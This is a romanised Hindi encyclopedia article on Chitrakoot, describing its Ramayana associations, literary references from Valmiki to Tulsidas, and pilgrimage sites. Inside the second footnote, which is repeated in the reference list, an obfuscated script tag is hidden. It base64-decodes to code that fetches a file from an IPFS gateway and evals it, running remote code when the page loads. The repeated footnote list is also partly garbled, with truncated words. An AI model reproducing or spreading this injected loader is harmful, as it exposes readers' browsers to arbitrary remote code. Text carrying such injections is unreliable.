चित्रकूट

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thumb|250px|ramaghat, chitrakoot chitrakoot uttar pradesh rajy mean 38.2 varg kilomitar ke kshetr mean vistrit hai. yah ek manoram, shaant aur sundar prakritik sthan hai. chitrakoot charoan or se vindhy parvatamala aur aranyoan se ghira hua hai. yahaan mandakini nadi ke kinare bane anek ghat aur mandiroan mean varsh bhar shraddhaluoan ka avagaman hota rahata hai. yah manyata hai ki shriram ne sita aur apane anuj lakshman ke sath vanavas ke 14 varsh yahian vyatit kie the. yahian par rrishi atri aur sati anusooya ne dhyan lagaya tha. chitrakoot hi vah sthan tha, jahaan brahma, vishnu aur mahesh ne anusooya ke yahaan janm liya.

pauranik ullekh

yah mana jata hai ki anek rang ki dhatuoan se bhooshit hone ke karan hi is paha d ko chitrakoot kahate the-

‘pashyeyamachalan bhadre nana dvijaganayutamh shikharai: khamivodviddhairdhatumadbhirvibhooshitamh.
kechidh rajatasankasha: kechith kshataj sannibha:, pitamaanjishth varnashch kechinh manivaraprabha:.
pushpark ketakabhashch kechijjyotiras prabha:, virajanteachalendrasy desha dhatuvibhooshita:’.

nimn varnan se yah spasht hai ki chitrakoot ramayan kal mean prayagasth bharadvaj ke ashram se keval das kos par sthit tha-

‘dashakoshitastat giriryasminnivatsyasi, maharshi sevit: puny: parvat: shubhadarshan:’^[1]

chitrakoot ek prasiddh parvat hai, jis par vanavas ke samay ram aur sita bahut dinoan tak rahe the. yah prayag se 27 kos dakshin mean hai. valmiki ramayan ke anusar yah bharadvaj ke ashram se 3.. yojan dakshin mean hai. prayag ya ilahabad donoan hi ee.aee.ar. ke steshan haian. bharadvaj ashram prayag mean hi pandit javaharalal neharoo ke nivas sthan ke samip hai. yahaan har sal ramanavami ko mela sa lagata hai. bharat ke chale jane ke pashchat ramachandr ji yahaan se panchavati chale ge the, jo godavari ke kinare nasik ke samip hai.^[2]

darshaniy sthal

ajakal prayag se chitrakoot lagabhag chauguni doori par sthit hai. is samasya ka samadhan yah manane se ho sakata hai ki valmiki ke samay ka prayag athava ganga-yamuna ka sangam sthan aj ke sangam se bahut dakshin mean tha. us samay prayag mean keval muniyoan ke ashram the aur is sthan ne tab tak janakirn nagar ka roop dharan nahian kiya tha. chitrakoot ki paha di ke atirikt is kshetr ke antargat kee gram haian, jinamean sitapuri pramukh hai. paha di par baanke siddh, devaangana, hanumanadhara, sita rasoee aur anusooya adi puny sthan haian. dakshin pashchim mean gupt godavari namak sarita ek gahari guha se nissrit hoti hai. sitapuri payoshni nadi ke tat par sundar sthan hai aur vahian sthit hai, jahaan ram-sita ki parn kuti thi. ise puri bhi kahate haian. pahale inaka nam 'jayasianhapur' tha aur yahaan koloan ka nivas tha.

panna ke raja amanasianh ne jayasianhapur ko mahant charanadas ko dan mean de diya tha. inhoanne hi isaka sitapuri nam rakha tha. raghavaprayag, sitapuri ka b da tirth hai. isake samane mandakini nadi ka ghat hai. chitrakoot ke pas hi kamadagiri hai. isaki parikrama 3 mil ki hai. parikrama-path ko 1725 ee. mean chhatrasal ki rani chaandakuanvari ne pakka karavaya tha. kamata se 6 mil pashchimottar mean bharat koop namak vishal koop hai. tulasi-ramayan ke anusar is koop mean bharat ne sab tirthoan ka vah jal dal diya tha, jo vah shriram ke abhishek ke lie chitrakoot lae the.

any tathy

mahabharat^[3] mean chitrakoot aur mandakini ka tirth roop mean varnan kiya gaya hai-

‘chitrakoot janasthane tatha mandakini jale, vigahy vai niraharo rajalakshmya nishevyate,.

kalidas ne raghuvansh^[4] mean chitrakoot ka varnan kiya hai-

‘chitrakootavanasthan ch kathit svargatirguro: lakshmya nimantrayaan chake tamanuchchhisht sanpada’.
‘dharasvanodgaridari mukhaasau shrriangagralagnambudavaprapank:, badhnati me bandhuragatri chakshudript: kakudmanivachitrakoot:’.

[[chitr:Mandakini-River-Chitrakoot.jpg|thumb|350px|mandakini nadi, chitrakoot]]

shrimadbhagavat^[5] mean bhi isaka ullekh hai-

‘pariyatro dronashchitrakooto govardhano raivatak:’.

adhyatmaramayan^[6] mean chitrakoot mean ram ke nivas karane ka ullekh is prakar hai-

‘nagarashch sada yanti ramadarshanalalasa:, chitrakootasthitan jnatva sitaya lakshmanen ch'.

tulasidas ka varnan

mahakavi tulasidas ne ramacharitamanas (ayodhya kand) mean chitrakoot ka b da manohari varnan kiya hai. tulasidas chitrakoot mean bahut samay tak rahe the aur unhoanne jis prem aur tadatmy ki bhavana se chitrakoot ke shabd-chitr khianche haian, ve ramayan ke sundaratam sthaloan mean haian-

‘raghuvar kahoo lakhan bhal ghatoo, karahu katahuan ab thahar thatoo.
lakhan dikh pay utarakarara, chahuan dishi phireu dhanush jiminara.
nadipanach sar sam dam dana, sakal kalush kali sauj nana.
chitrakoot jim achal aheri, chukee n ghat mar muthabheri’.

jain sahity mean bhi chitrakoot ka varnan hai.
bhagavati tika^[7] mean chitrakoot ko 'chitraku d' kaha gaya hai.
bauddh granth lalitavistar^[8] mean bhi chitrakoot ki paha di ka ullekh hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ayodhya kand 54, 28.
↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 557, parishisht 'k' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ anushasan parv 25, 29
↑ raghuvansh 12, 15 aur 13, 47
↑ shrimadbhagavat 5, 19, 16
↑ ayodhya kand 9, 77
↑ bhagavati tika 7,6
↑ lalitavistar pri.391

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] yodhya kand 54, 28.

[2] uranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 557, parishisht 'k' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] ushasan parv 25, 29

[4] raghuvansh 12, 15 aur 13, 47

[5] shrimadbhagavat 5, 19, 16

[6] yodhya kand 9, 77

[7] vati tika 7,6

[8] tavistar pri.391

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